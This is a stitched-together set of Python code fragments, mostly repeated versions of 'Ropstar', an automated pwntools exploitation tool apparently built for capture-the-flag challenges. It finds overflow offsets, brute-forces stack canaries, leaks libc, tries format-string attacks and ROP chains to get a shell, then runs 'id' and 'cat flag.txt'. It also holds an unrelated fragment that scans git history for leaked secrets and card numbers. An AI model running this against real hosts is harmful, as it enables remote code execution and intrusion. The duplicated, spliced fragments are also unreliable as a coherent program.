def __init__(self, argv): parser = argparse.ArgumentParser(description='Pwn things, fast.') parser.add_argument('bin',help='target binary (local)') parser.add_argument('-rhost',help='target host') parser.add_argument('-rport', help='target port (required if -rhost is set)') parser.add_argument('-o', help='specify offset manually, skips dynamic resolution') parser.add_argument('-p', help='use proxy, e.g. https://127.0.0.1:8080') parser.add_argument('-m', help='specify address of main method, in case there is no symbols') parser.add_argument('-xor', help='xor payload with given byte') parser.add_argument('-win', help='specify win function address to call') parser.add_argument('-magic', help='magic string that needs to be sent before the payload') parser.add_argument('-remote_offset', help='get offset remotely via observing responses (often required with canaries)', action='store_true') parser.add_argument('-state', help='canary,rbp,rip (comma seperated)') parser.add_argument('-plugins', help='run custom plugins') self.args = parser.parse_args() self.home = pwd.getpwuid(os.getuid())[0] if self.home == 'root': self.home = '/'+self.home else: self.home = '/home/'+self.home # set context context.endian = "little" context.os = "linux" context.log_level = "debug" context.timeout = 10 self.t = Timeout() self.bname = self.args.bin self.binary = ELF(self.bname) self.arch = self.binary.get_machine_arch() log.info("Arch: "+self.arch) if self.arch == 'i386': context.bits = 32 context.arch = self.arch context.kernel = self.arch self.pattern_reg = "eip" else: context.bits = 64 context.arch = self.arch context.kernel = self.arch self.pattern_reg = "rsp" if self.args.remote_offset: if not self.args.rhost or not self.args.rport: log.failure("You need to specify rhost & rport to use remote_offset") sys.exit(0) self.offset = -1 if self.args.xor: self.xor = self.args.xor.decode('hex') self.leak = Leak(self) self.exploit = Exploit(self) # identity + rot13 for now self.encodings = [lambda x: x, lambda x: rot13(x)] self.success_marker = '' # some config options self.pattern_length = 2000 self.magic_newline = False if self.args.magic and "\\n" in self.args.magic: self.args.magic = self.args.magic.replace("\\n","") self.magic_newline = True self.canary = None
def __init__(self, argv): parser = argparse.ArgumentParser(description='Pwn things, fast.') parser.add_argument('bin', help='target binary (local)') parser.add_argument('-rhost', help='target host') parser.add_argument('-rport', help='target port (required if -rhost is set)') parser.add_argument( '-cid', help='challenge id for hackthebox challenges (to auto submit flags)' ) parser.add_argument( '-o', help='specify offset manually, skips dynamic resolution') parser.add_argument('-p', help='use proxy, e.g. https://127.0.0.1:8080') parser.add_argument( '-m', help='specify address of main method, in case there is no symbols') parser.add_argument('-xor', help='xor payload with given byte') parser.add_argument('-win', help='specify win function address to call') parser.add_argument( '-magic', help='magic string that needs to be send before the payload') self.args = parser.parse_args() self.username = os.getlogin() if self.args.cid: with open('/home/' + self.username + '/.htb_apikey', 'r') as f: self.api_key = f.read() log.success("Read api_key: " + self.api_key[:6] + "...") # set context context.endian = "little" context.os = "linux" context.log_level = "debug" context.timeout = 10 self.t = Timeout() self.bname = self.args.bin self.binary = ELF("./" + self.bname) self.arch = self.binary.get_machine_arch() log.info("Arch: " + self.arch) if self.arch == 'i386': context.bits = 32 context.arch = self.arch context.kernel = self.arch self.pattern_reg = "eip" else: context.bits = 64 context.arch = self.arch context.kernel = self.arch self.pattern_reg = "rsp" self.offset = -1 self.leak = Leak(self) self.exploit = Exploit(self) # identity + rot13 for now self.encodings = [lambda x: x, lambda x: rot13(x)] if self.args.xor: self.encodings.append(lambda x: xor(x, self.args.xor)) # some config options self.pattern_length = 2000
def search(self, path, filename): self.leak = self.__search_leak__() if not self.leak: os.remove(path) else: l = Leak(self.metadata, self.leak) l.load() filename = move(path, filename)
def get_repo(self, git_url): self.results = Leaks() project_path = tempfile.mkdtemp() Repo.clone_from(git_url, project_path) reponame = '/'.join(git_url.split('/')[-2:]) repo = Repo(project_path) already_searched = set() for remote_branch in repo.remotes.origin.fetch(): branch_name = str(remote_branch).split('/')[1] try: repo.git.checkout(remote_branch, b=branch_name) except: pass prev_commit = None for curr_commit in repo.iter_commits(): if not prev_commit: pass else: # avoid searching the same diffs hashes = str(prev_commit) + str(curr_commit) if hashes in already_searched: prev_commit = curr_commit continue already_searched.add(hashes) diff = prev_commit.diff(curr_commit, create_patch=True) for blob in diff: printableDiff = blob.diff.decode('utf-8', errors='replace') if printableDiff.startswith("Binary files"): continue lines = blob.diff.decode('utf-8', errors='replace') for k, v in self.regexes.items(): if re.search(v, lines): potential = re.search(v, lines).group(0) if k in self.results and potential in self.results[k]: continue if len(potential) * potential[0] == potential: continue elif k.startswith('Credit Card'): if Harpocrates.is_luhn_valid(potential): self.results[k].add( Leak(reponame, curr_commit, potential, lines)) else: self.results[k].add(Leak(reponame, curr_commit, potential, lines)) prev_commit = curr_commit return self.results
class Ropstar(): def __init__(self, argv): parser = argparse.ArgumentParser(description='Pwn things, fast.') parser.add_argument('bin',help='target binary (local)') parser.add_argument('-rhost',help='target host') parser.add_argument('-rport', help='target port (required if -rhost is set)') parser.add_argument('-o', help='specify offset manually, skips dynamic resolution') parser.add_argument('-p', help='use proxy, e.g. https://127.0.0.1:8080') parser.add_argument('-m', help='specify address of main method, in case there is no symbols') parser.add_argument('-xor', help='xor payload with given byte') parser.add_argument('-win', help='specify win function address to call') parser.add_argument('-magic', help='magic string that needs to be sent before the payload') parser.add_argument('-remote_offset', help='get offset remotely via observing responses (often required with canaries)', action='store_true') parser.add_argument('-state', help='canary,rbp,rip (comma seperated)') parser.add_argument('-plugins', help='run custom plugins') self.args = parser.parse_args() self.home = pwd.getpwuid(os.getuid())[0] if self.home == 'root': self.home = '/'+self.home else: self.home = '/home/'+self.home # set context context.endian = "little" context.os = "linux" context.log_level = "debug" context.timeout = 10 self.t = Timeout() self.bname = self.args.bin self.binary = ELF(self.bname) self.arch = self.binary.get_machine_arch() log.info("Arch: "+self.arch) if self.arch == 'i386': context.bits = 32 context.arch = self.arch context.kernel = self.arch self.pattern_reg = "eip" else: context.bits = 64 context.arch = self.arch context.kernel = self.arch self.pattern_reg = "rsp" if self.args.remote_offset: if not self.args.rhost or not self.args.rport: log.failure("You need to specify rhost & rport to use remote_offset") sys.exit(0) self.offset = -1 if self.args.xor: self.xor = self.args.xor.decode('hex') self.leak = Leak(self) self.exploit = Exploit(self) # identity + rot13 for now self.encodings = [lambda x: x, lambda x: rot13(x)] self.success_marker = '' # some config options self.pattern_length = 2000 self.magic_newline = False if self.args.magic and "\\n" in self.args.magic: self.args.magic = self.args.magic.replace("\\n","") self.magic_newline = True self.canary = None def fit(self, payload): ''' Fits the payload to the offset and potentical canary ''' if self.binary.canary: result = b'' log.info(f"Canary: {hex(self.canary)}") result += p64(self.canary) log.info(f"Bp: {hex(self.base_ptr)}") result += p64(self.base_ptr) result += payload result = fit({self.offset:result}) else: result = fit({self.offset:payload}) return result def run_plugins(self, proc): path = os.path.dirname(os.path.abspath(inspect.stack()[0][1]))+"/plugins/" files = [f for f in os.listdir(path) if f.endswith(".py") and not f == "__init__.py"] if len(files) > 0: log.info("Executing plugins: "+','.join(files)) for file in files: p, _ = file.rsplit('.', 1) mod = import_module('plugins.'+p) _class = getattr(mod, 'Plugin') plugin = _class(self.home) plugin.run(proc, proxy=self.args.p) def connect(self): ''' Connects to remote or local binary ''' p = None if self.args.rhost and self.args.rport: log.info("Using remote target "+self.args.rhost+":"+self.args.rport) p = remote(self.args.rhost, self.args.rport) else: log.info("Using local target") # env={'LD_PRELOAD': os.path.join(os.getcwd(), 'libc.so.6')} p = process(self.bname) return p def trigger(self, p, payload='', newline=True, recvall=False, prercv=False): ''' function that puts payload into vulnerable buffer ''' result = '' # clear buffer, this is slow, but sometimes required if prercv: p.recvlines(numlines=100, timeout=3) if self.args.magic: if not self.magic_newline: payload = self.args.magic + payload else: p.sendline(self.args.magic) if self.args.xor: payload = xor(payload, self.xor) if newline: p.sendline(payload) else: p.send(payload) try: if recvall: result = p.recvall(timeout=3) else: result = p.recvlines(numlines=100, timeout=3) except EOFError: pass return result def trigger_fmt(self, payload): ''' alternative to trigger for fmt string exploits (connects on its own) ''' p = self.connect() result = '' if self.args.magic: p.send(self.args.magic) # or sendline? p.sendline(payload) try: result = p.recvall() pattern = "(START0[xX][0-9a-fA-F]{4,8}END)" m = re.search(pattern, result) if m: result = m.groups(1)[0] log.info('FmtStr leak: '+result.strip("START").strip("END")) except EOFError: pass p.close() return result def get_dynamic(self): if not self.args.remote_offset: return self.get_offset_local() else: return self.get_offset_remote() def get_offset_remote(self): ''' Trial and error offset retrieval ''' for i in range(1, self.pattern_length): p = self.connect() try: result = self.trigger(p, cyclic(i), recvall=True) result = result.decode() if self.success_marker not in result: self.offset = i#-1 log.success("Offset: "+str(self.offset)) return True except EOFError: self.offset = i log.success("Offset: "+str(self.offset)) return True p.close() return False def get_offset_local(self): ''' get offset with unique pattern ''' for enc in self.encodings: p = process(self.bname) pattern = cyclic(self.pattern_length) pattern = enc(pattern) if self.args.magic: p.sendline(self.args.magic) try: p.sendline(pattern) except EOFError: log.failure("Can not get offset") return False p.wait() p.close() core = Coredump('./core') log.info("Fault: "+hex(core.fault_addr)) addr = core.fault_addr & 0x000000ffffffff # have to make it 32 bit or cyclic crashes self.offset = cyclic_find(addr) # offset can not be higher than the pattern length if self.offset > self.pattern_length: continue if self.offset != -1: log.success("Offset: "+str(self.offset)) return True log.failure("Can not get offset") return False def get_success_marker(self): ''' ''' p = self.connect() # get positive verifier, so we know what to expect if it doesn't crash result = self.trigger(p, 'test', newline=False, recvall=True) self.success_marker = result[-6:].decode() log.info("Success marker: "+self.success_marker) p.close() def check_success(self, p): ''' Check if we can execute shell commands ''' try: p.sendline("id") out = p.recvline() log.success(out) if len(out) > 0: p.sendline("cat flag.txt") flag = p.recvline() if self.args.plugins: self.run_plugins(p,) log.info('Time spent: '+str(round((time.time() - self.start_time),2))+'s') p.interactive() return True except EOFError: log.failure("Failed") pass return False def debug(self, bp): gdb.attach(p, ''' set follow-fork-mode child set breakpoint %s continue '''.format(bp)) def smart_leak(self, p=None): # run seperate p if not self.binary.canary and not p: p = self.connect() leak = self.leak.leak_libc(p) p.close() # keep p open elif not self.binary.canary and p: leak = self.leak.leak_libc(p) # run multiple p's else: leak = self.leak.leak_libc(p=None, is_forking=True) return leak def main(self): self.start_time = time.time() # offset can also be given on command line if not self.args.o and not self.binary.canary: # resolve offset dynamically log.info("Getting offset") result = self.get_dynamic() if not result: log.info("Trying format string vector") # no offset found via simple overflow, maybe fmt string? offset = -1 try: autofmt = FmtStr(self.trigger_fmt) if autofmt.offset == -1: log.failure("Could not find format string vector") return p = self.connect() self.exploit.fmt(p, autofmt) p.close() return except (IndexError, EOFError): log.failure("Probably not vulnerable to format string vector") return if self.args.o: self.offset = int(self.args.o) log.info("Offset: "+str(self.offset)) if self.binary.canary: # we need a marker for successful, non crashing requests to bruteforce values self.get_success_marker() log.info("Binary uses stack canary") # get offset self.get_dynamic() if self.offset == -1: log.failure("Can't continue without offset, consider providing it with -o <offset>") exit(-1) # did the user provide the values from a previous run ? if self.args.state: canary, base_ptr, instr_ptr = self.args.state.split(',') self.canary = int(canary,16) self.base_ptr = int(base_ptr,16) self.instr_ptr = int(instr_ptr,16) log.info("canary: "+hex(self.canary)) log.info("base ptr: "+hex(self.base_ptr)) log.info("instr ptr: "+hex(self.instr_ptr)) else: # bruteforce values log.info("Bruting canary, base ptr, intr ptr") log.info("This can take a while, go grab a coffee") pause() payload = cyclic(self.offset) canary = self.leak.leak_qword(payload) # canary payload = decode(payload) + canary base_ptr = self.leak.leak_qword(payload) # rbp payload = decode(payload) + base_ptr instr_ptr = self.leak.leak_qword(payload) # rip log.info("canary: "+hex(u64(canary))) log.info("base ptr: "+hex(u64(base_ptr))) log.info("instr ptr: "+hex(u64(instr_ptr))) self.canary = u64(canary) self.base_ptr = u64(base_ptr) self.instr_ptr = u64(instr_ptr) addr = self.instr_ptr - (self.instr_ptr & 0xfff) entry_offset = (self.binary.entry & 0xfffffffffffff000) self.binary.address = addr - entry_offset log.info("Base: "+hex(self.binary.address)) log.info("You probably want to save these values") pause() if self.args.win: p = self.connect() if self.exploit.win(p, self.args.win): p.close() return # leakless works for static & non-static binaries log.info("Checking for leakless exploitation") p = self.connect() if self.exploit.bss(p): p.close() return # static compiled binaries get their gadgets from their elf if not self.binary.libc: if self.exploit.static(p): p.close() return p.close() # dynamic complied binary, try leaking libc & exploiting via libc log.info("Getting Leak") leak = self.smart_leak() if len(leak) > 0: log.info("Getting libc version") versions = self.leak.ident_libc(leak) exploits = [self.exploit.bss, self.exploit.bss_execve, self.exploit.dup2, self.exploit.default] for version in versions: for exploit in exploits: p = self.connect() leak = self.smart_leak(p) if len(leak) == 0: continue log.info("Using "+version) libc_path = f"{self.leak.libcdb_path}libs/{version}/libc.so.6" print(libc_path) try: libc = ELF(libc_path) except IOError: log.failure("Could not load "+version+ "(skipping)") continue name, addr = list(leak.items())[0] libc.address = addr - libc.symbols[name] log.success("Libc base: {0}".format(hex(libc.address))) # exploit log.info("Running exploits") try: if exploit(p, libc): log.success("Done!") return except EOFError: pass log.failure("Could not exploit target.") p.close() else: log.failure("Could not leak anything")
class Ropstar(): def __init__(self, argv): parser = argparse.ArgumentParser(description='Pwn things, fast.') parser.add_argument('bin',help='target binary (local)') parser.add_argument('-rhost',help='target host') parser.add_argument('-rport', help='target port (required if -rhost is set)') parser.add_argument('-cid', help='challenge id for hackthebox challenges (to auto submit flags)') parser.add_argument('-o', help='specify offset manually, skips dynamic resolution') parser.add_argument('-p', help='use proxy, e.g. https://127.0.0.1:8080') parser.add_argument('-m', help='specify address of main method, in case there is no symbols') parser.add_argument('-xor', help='xor payload with given byte') parser.add_argument('-win', help='specify win function address to call') parser.add_argument('-magic', help='magic string that needs to be send before the payload') parser.add_argument('-remote_offset', help='get offset remotely via observing responses (often required with canaries)', action='store_true') self.args = parser.parse_args() self.home = os.getlogin() if self.home == 'root': self.home = '/'+self.home else: self.home = '/home/'+self.home if self.args.cid: with open(self.home+'/.htb_apikey','r') as f: self.api_key = f.read() log.success("Read api_key: "+self.api_key[:6]+"...") # set context context.endian = "little" context.os = "linux" context.log_level = "debug" context.timeout = 10 self.t = Timeout() self.bname = self.args.bin self.binary = ELF(self.bname) self.arch = self.binary.get_machine_arch() log.info("Arch: "+self.arch) if self.arch == 'i386': context.bits = 32 context.arch = self.arch context.kernel = self.arch self.pattern_reg = "eip" else: context.bits = 64 context.arch = self.arch context.kernel = self.arch self.pattern_reg = "rsp" if self.args.remote_offset: if not self.args.rhost or not self.args.rport: log.failure("You need to specify rhost & rport to use remote_offset") sys.exit(0) self.offset = -1 if self.args.xor: self.xor = self.args.xor.decode('hex') self.leak = Leak(self) self.exploit = Exploit(self) # identity + rot13 for now self.encodings = [lambda x: x, lambda x: rot13(x)] self.success_marker = '' # some config options self.pattern_length = 2000 self.magic_newline = False if self.args.magic and "\\n" in self.args.magic: self.args.magic = self.args.magic.replace("\\n","") self.magic_newline = True def connect(self): ''' Connects to remote or local binary ''' p = None if self.args.rhost and self.args.rport: log.info("Using remote target "+self.args.rhost+":"+self.args.rport) p = remote(self.args.rhost, self.args.rport) else: log.info("Using local target") # env={'LD_PRELOAD': os.path.join(os.getcwd(), 'libc.so.6')} p = process(self.bname) return p def trigger(self, p, payload='', newline=True, recvall=False): ''' function that puts payload into vulnerable buffer ''' result = '' if self.args.magic: if not self.magic_newline: payload = self.args.magic + payload else: p.sendline(self.args.magic) if self.args.xor: payload = xor(payload, self.xor) if newline: p.sendline(payload) else: p.send(payload) try: if recvall: result = p.recvall(timeout=2) else: result = p.recvlines(numlines=100, timeout=2) except EOFError: pass return result def trigger_fmt(self, payload): ''' alternative to trigger for fmt string exploits (connects on its own) ''' p = self.connect() result = '' if self.args.magic: p.send(self.args.magic) # or sendline? p.sendline(payload) try: result = p.recvall() pattern = "(START0[xX][0-9a-fA-F]{4,8}END)" m = re.search(pattern, result) if m: result = m.groups(1)[0] log.info('FmtStr leak: '+result.strip("START").strip("END")) except EOFError: pass p.close() return result def submit_challenge_flag(self, flag): ''' Submit flag to htb ''' url = 'https://www.hackthebox.eu/api/challenges/own/?api_token='+self.api_key data = {'challenge_id':self.args.cid, 'flag': flag, "difficulty": 1} data_str = "&".join("%s=%s" % (k,v) for k,v in data.items()) headers = {'User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'} if not self.args.p: r = requests.post(url, data=data_str, headers=headers, verify=False) else: r = requests.post(url, data=data_str, headers=headers, verify=False, proxies={'https':self.args.p}) log.info("Result: "+str(r.status_code)) def get_dynamic(self): if not self.args.remote_offset: return self.get_offset_local() else: return self.get_offset_remote() def get_offset_remote(self): ''' Trial and error offset retrieval ''' for i in range(1, self.pattern_length): p = self.connect() try: result = self.trigger(p, cyclic(i)) if self.success_marker not in result: self.offset = i-1 log.success("Offset: "+str(self.offset)) return True except EOFError: self.offset = i log.success("Offset: "+str(self.offset)) return True p.close() return False def get_offset_local(self): ''' get offset with unique pattern ''' for enc in self.encodings: p = process(self.bname) pattern = cyclic(self.pattern_length) pattern = enc(pattern) if self.args.magic: p.sendline(self.args.magic) p.sendline(pattern) p.wait() p.close() core = Coredump('./core') log.info("Fault: "+hex(core.fault_addr)) addr = core.fault_addr & 0x000000ffffffff # have to make it 32 bit or cyclic crashes self.offset = cyclic_find(addr) # offset can not be higher than the pattern length if self.offset > self.pattern_length: continue if self.offset != -1: log.success("Offset: "+str(self.offset)) return True log.failure("Can not get offset") return False def get_success_marker(self): ''' ''' p = self.connect() # get positive verifier, so we know what to expect if it doesn't crash result = self.trigger(p, 'test', newline=False, recvall=True) self.success_marker = result[-6:] log.info("Success marker: "+self.success_marker) p.close() def check_success(self, p): ''' Check if we can execute shell commands and submit the flag when doing htb challenges ''' try: p.sendline("id") out = p.recvline() log.success(out) if len(out) > 0: p.sendline("cat flag.txt") flag = p.recvline() if self.args.cid and len(flag) > 0 and flag.find('No such file or directory') == -1: self.submit_challenge_flag(flag.strip("\n")) log.success("Submitted flag: "+flag) else: log.info("Not submitted") log.info('Time spent: '+str(round((time.time() - self.start_time),2))+'s') p.interactive() return True except EOFError: log.failure("Failed") pass return False def debug(self, bp): gdb.attach(p, ''' set follow-fork-mode child set breakpoint %s continue '''.format(bp)) def main(self): self.start_time = time.time() # offset can also be given on command line if not self.args.o: # resolve offset dynamically log.info("Getting offset") result = self.get_dynamic() if not result: # no offset found via simple overflow, maybe fmt string? offset = -1 try: autofmt = FmtStr(self.trigger_fmt) if autofmt.offset == -1: log.failure("Could not find format string vuln") return p = self.connect() self.exploit.fmt(p, autofmt) p.close() return except IndexError: log.failure("Could not find format string vuln") return else: self.offset = int(self.args.o) log.info("Offset: "+str(self.offset)) if self.binary.canary: # we need a marker for successful, non crashing requests to bruteforce values self.get_success_marker() log.info("Binary uses stack canary") log.info("Bruting canary, base ptr, intr ptr") log.info("This can take a while, go grab a coffee") pause() payload = cyclic(self.offset) canary = self.leak.leak_qword(payload) # canary payload += canary base_ptr = self.leak.leak_qword(payload) # rbp payload += base_ptr instr_ptr = self.leak.leak_qword(payload) # rip payload += instr_ptr log.info("canary: "+hex(u64(canary))) log.info("base ptr: "+hex(u64(base_ptr))) log.info("instr ptr: "+hex(u64(instr_ptr))) log.info("You probably want to copy these") pause() # at this point we can assume we have the values self.canary = u64(canary) self.base_ptr = u64(base_ptr) self.instr_ptr = u64(instr_ptr) ''' self.canary = manual self.base_ptr = manual self.instr_ptr = manual ''' addr = self.instr_ptr - (self.instr_ptr & 0xfff) entry_offset = (self.binary.entry & 0xfffffffffffff000) self.binary.address = addr - entry_offset log.info("Base: "+hex(self.binary.address)) if self.args.win: p = self.connect() if self.exploit.win(p, self.args.win): p.close() return # leakless works for static & non-static binaries log.info("Checking for leakless exploitation") p = self.connect() if self.exploit.bss(p): p.close() return # static compiled binaries get their gadgets from their elf if not self.binary.libc: if self.exploit.static(p): p.close() return p.close() # dynamic complied binary, try leaking libc & exploiting via libc log.info("Getting Leak") p = self.connect() leak = self.leak.leak_libc(p) p.close() if len(leak) > 0: log.info("Getting libc version") versions = self.leak.ident_libc(leak) exploits = [self.exploit.bss, self.exploit.bss_execve, self.exploit.default] for version in versions: for exploit in exploits: p = self.connect() leak = self.leak.leak_libc(p) if len(leak) == 0: continue log.info("Using "+version) try: libc = ELF(version) # take first hit for now except IOError: log.failure("Could not load "+version+ "(skipping)") continue name, addr = leak.items()[0] libc.address = addr - libc.symbols[name] log.success("Libc base: {0}".format(hex(libc.address))) # exploit log.info("Running exploits") try: if exploit(p, libc): log.success("Done!") return except EOFError: pass log.failure("Could not exploit target.") p.close() else: log.failure("Could not leak anything")
class Ropstar(): def __init__(self, argv): parser = argparse.ArgumentParser(description='Pwn things, fast.') parser.add_argument('bin', help='target binary (local)') parser.add_argument('-rhost', help='target host') parser.add_argument('-rport', help='target port (required if -rhost is set)') parser.add_argument( '-cid', help='challenge id for hackthebox challenges (to auto submit flags)' ) parser.add_argument( '-o', help='specify offset manually, skips dynamic resolution') parser.add_argument('-p', help='use proxy, e.g. https://127.0.0.1:8080') parser.add_argument( '-m', help='specify address of main method, in case there is no symbols') parser.add_argument('-xor', help='xor payload with given byte') parser.add_argument('-win', help='specify win function address to call') parser.add_argument( '-magic', help='magic string that needs to be send before the payload') self.args = parser.parse_args() self.username = os.getlogin() if self.args.cid: with open('/home/' + self.username + '/.htb_apikey', 'r') as f: self.api_key = f.read() log.success("Read api_key: " + self.api_key[:6] + "...") # set context context.endian = "little" context.os = "linux" context.log_level = "debug" context.timeout = 10 self.t = Timeout() self.bname = self.args.bin self.binary = ELF("./" + self.bname) self.arch = self.binary.get_machine_arch() log.info("Arch: " + self.arch) if self.arch == 'i386': context.bits = 32 context.arch = self.arch context.kernel = self.arch self.pattern_reg = "eip" else: context.bits = 64 context.arch = self.arch context.kernel = self.arch self.pattern_reg = "rsp" self.offset = -1 self.leak = Leak(self) self.exploit = Exploit(self) # identity + rot13 for now self.encodings = [lambda x: x, lambda x: rot13(x)] if self.args.xor: self.encodings.append(lambda x: xor(x, self.args.xor)) # some config options self.pattern_length = 2000 def connect(self): ''' Connects to remote or local binary ''' p = None if self.args.rhost and self.args.rport: log.info("Using remote target " + self.args.rhost + ":" + self.args.rport) p = remote(self.args.rhost, self.args.rport) else: log.info("Using local target") # env={'LD_PRELOAD': os.path.join(os.getcwd(), 'libc.so.6')} p = process("./" + self.bname) return p def trigger(self, p, payload): ''' function that puts payload into vulnerable buffer ''' result = '' if self.args.magic: p.sendline(self.args.magic) p.sendline(payload) # the amount of lines that need to be read # before getting the result depends on the binary so we # read a lot try: result = p.recvlines(numlines=100, timeout=1) except EOFError: pass return result def trigger_fmt(self, payload): ''' alternative to trigger for fmt string exploits (connects on its own) ''' p = self.connect() result = '' if self.args.magic: p.sendline(self.args.magic) p.sendline(payload) try: result = p.recvall() pattern = "(START0[xX][0-9a-fA-F]{4,8}END)" m = re.search(pattern, result) if m: result = m.groups(1)[0] log.info('FmtStr leak: ' + result.strip("START").strip("END")) except EOFError: pass p.close() return result def submit_challenge_flag(self, flag): ''' Submit flag to htb ''' url = 'https://www.hackthebox.eu/api/challenges/own/?api_token=' + self.api_key data = {'challenge_id': self.args.cid, 'flag': flag, "difficulty": 1} data_str = "&".join("%s=%s" % (k, v) for k, v in data.items()) headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8' } if not self.args.p: r = requests.post(url, data=data_str, headers=headers, verify=False) else: r = requests.post(url, data=data_str, headers=headers, verify=False, proxies={'https': self.args.p}) log.info("Result: " + str(r.status_code)) def get_dynamic(self): ''' get offset with unique pattern ''' for enc in self.encodings: p = process("./" + self.bname) pattern = cyclic(self.pattern_length) pattern = enc(pattern) if self.args.magic: p.sendline(self.args.magic) p.sendline(pattern) p.wait() p.close() core = Coredump('./core') log.info("Fault: " + hex(core.fault_addr)) addr = core.fault_addr & 0x000000ffffffff # have to make it 32 bit or cyclic crashes self.offset = cyclic_find(addr) # offset can not be higher than the pattern length if self.offset > self.pattern_length: continue if self.offset != -1: log.success("Offset: " + str(self.offset)) return True log.failure("Can not get offset") return False def check_success(self, p): ''' Check if we can execute shell commands and submit the flag when doing htb challenges ''' try: p.sendline("id") out = p.recvline() log.success(out) if len(out) > 0: p.sendline("cat flag.txt") flag = p.recvline() if self.args.cid and len(flag) > 0 and flag.find( 'No such file or directory') == -1: self.submit_challenge_flag(flag.strip("\n")) log.success("Submitted flag: " + flag) #log.success("Submitted flag: <censored>") else: log.info("Not submitted") log.info('Time spent: ' + str(round((time.time() - self.start_time), 2)) + 's') p.interactive() return True except EOFError: log.failure("Failed") pass return False def main(self): self.start_time = time.time() # offset can also be given on command line if not self.args.o: # resolve offset dynamically log.info("Getting offset") result = self.get_dynamic() if not result: # no offset found via simple overflow, maybe fmt string? offset = -1 try: autofmt = FmtStr(self.trigger_fmt) if autofmt.offset == -1: log.failure("Could not find format string vuln") return p = self.connect() self.exploit.fmt(p, autofmt) p.close() return except IndexError: log.failure("Could not find format string vuln") return else: self.offset = int(self.args.o) log.info("Offset: " + str(self.offset)) # leakless works for static & non-static binaries log.info("Checking for leakless exploitation") p = self.connect() if self.exploit.bss(p): p.close() return # static compiled binaries get their gadgets from their elf if not self.binary.libc: if self.exploit.static(p): p.close() return p.close() # dynamic complied binary, try leaking libc & exploiting via libc log.info("Getting Leak") p = self.connect() leak = self.leak.get_leak(p) p.close() if len(leak) > 0: log.info("Getting libc version") versions = self.leak.get_libc(leak) exploits = [ self.exploit.bss, self.exploit.bss_execve, self.exploit.default ] for version in versions: for exploit in exploits: p = self.connect() leak = self.leak.get_leak(p) if len(leak) == 0: continue log.info("Using " + version) try: libc = ELF(version) # take first hit for now except IOError: log.failure("Could not load " + version + "(skipping)") continue name, addr = leak.items()[0] libc_base = addr - libc.symbols[name] log.success("Libc base: {0}".format(hex(libc_base))) # exploit log.info("Running exploits") try: if exploit(p, libc, libc_base): log.success("Done!") return except EOFError: pass p.close() else: log.failure("Could not leak anything")